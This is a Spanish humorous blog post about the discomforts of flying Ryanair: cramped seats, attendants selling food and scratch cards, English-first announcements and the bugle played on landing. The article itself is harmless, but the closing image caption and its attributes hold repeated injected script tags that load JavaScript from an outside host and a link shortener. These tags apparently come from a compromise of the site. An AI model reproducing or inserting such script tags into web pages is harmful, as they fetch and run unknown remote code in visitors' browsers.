El mercadillo del aire

Ryanair en lata…

Sería bastante lógico que cualquier pasajero tenga una primera mala impresión de Ryanair, compañía de aerolíneas de bajo coste. Coste que se incrementa por sorpresa en algunos casos, y en todos, asientos estrechos para volar como sardinas en lata. Que conste: avisé de ello hace un año. Pero en el mismo artículo no dudé en recomendarla. ¿Por qué? Con la experiencia, la mala gana de viajar se torna en un mundo diferente de sensaciones a más de 30.000 metros de altura…

Fijaos en la foto que encabeza esta entrada. No es producto de un zoom. Es que tuve que pegarme la cámara al hocico para captar espacio suficiente y que dejase a entender que volaba con Ryanair. El tiempo de vuelo es un suplicio con tanta estrechez. Sin comerlo ni beberlo juegas a ser la ‘L’ de un Tetris. He visto a gente que hasta apoya la cabeza en el asiento de delante para poder ‘echar una cabezadita’.

Pero hace poco comprobé un truco: madruga (aún más) y ponte el primero en la cola. Sólo así podrás ser el primero en correr hacia los asientos ubicados en las salidas de emergencias. Te comes el marrón como la aeronave tenga ‘problemillas’ de humo, pero quizás compense un espacio más amplio para estirar las piernas.

Ser una compañía de bajo coste tiene sus consecuencias. Será que para ahorrar ninguno de sus asientos tiene una bolsa detrás; en cambio, para obtener beneficios pegan anuncios en los portaequipajes. Sólo quedaría uniformar a los azafatos como a Fernando Alonso, que si no le han puesto pegatinas en la nariz es porque se asfixia.

Los azafatos de vuelo son otra parte característica. Éstos se transforman en mercaderes ambulantes una vez en el aire. Están de aquí para allá con sus carros de comida. ¡Y no sólo una vez! Además de camareros, ejercen de dependientes de un ‘duty free’ celestial (nunca mejor dicho), así como de vendedores de cupones.

Y es que Ryanair alardea de ofrecer a sus pasajeros la posibilidad de llevarse fantásticos premios con sus ‘Rasca y Gana’. Esto anula cualquier posibilidad de glamour que le quedase a la compañía. Durante un viaje la azafata nos contaba, imbuida en por el espíritu del ‘calvo’ de la Lotería, que en uno de sus vuelos dio un coche. Y ya, si ella tuviera chepa donde restregarle un cupón, sería ideal.

Lo cierto es que ese mismo viaje fue uno de los más épicos que tuve con Ryanair: nos quedamos en tierra cerca de tres horas debido al mal tiempo en la ciudad de destino. Las azafatas se desquitaron de sus discursos baratos y anodinos, y usaron el megáfono para ser ellas mismas, chisteando como si regentasen un puesto en la pescadería o lanzando picardías.

Quien no gustase de aquel espectáculo entre ‘Pili y Mili’, le quedaba pasar el rato con el Magazine de Ryanair. Monoligüístico y plagado de más anuncios que el Canal Club (página sí, página no, página sí, página que puede que sí…). El tema de la lengua a bordo es algo más que destacable, porque ya puede el avión despegar y aterrizar en España y sus pasajeros ser todos vecinos del barrio de Schamann, que igual van a dirigirse en inglés. Y después, si acaso, en castellano.

Pero hay otra cosa que me hace más gracia del tema “megáfono”. Mientras los pasajeros entran en el avión suena un clásico operístico. ¡Qué finura! Finura que se machaca y tritura al aterrizar, cuando de repente se oye una corneta militar que a pesar de rendir culto a la ordinariez, a más de uno invita a silbar y aplaudir desde su asiento.

Hemos llegado a nuestro destino. Como en cada vuelo “Ryanair les invita a volver a viajar con nosotros”, a lo que se les olvida añadir “y a sentirse como en un zoco bananero. Porque para espatarrarse y descansar a gusto ya tiene su casa”. Pero, ¿y lo que nos ahorra económicamente? Ryanair nos permite un café, un cine, unas compras por eBay, pero fundamentalmente un traumatólogo que nos desquite de la experiencia de vuelo.

Aterrizaje de Ryanair, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> Las Palmas de Gran Canaria” style=”width: 550px” title=”Aterrizaje de Ryanair, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> Las Palmas de Gran Canaria” /><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></p>
<div class='shareaholic-canvas' data-app-id='22695648' data-app='share_buttons' data-title='El mercadillo del aire' data-link='http://alberworld.es/2011/03/02/el-mercadillo-del-aire/' data-summary=''></div>
<div class=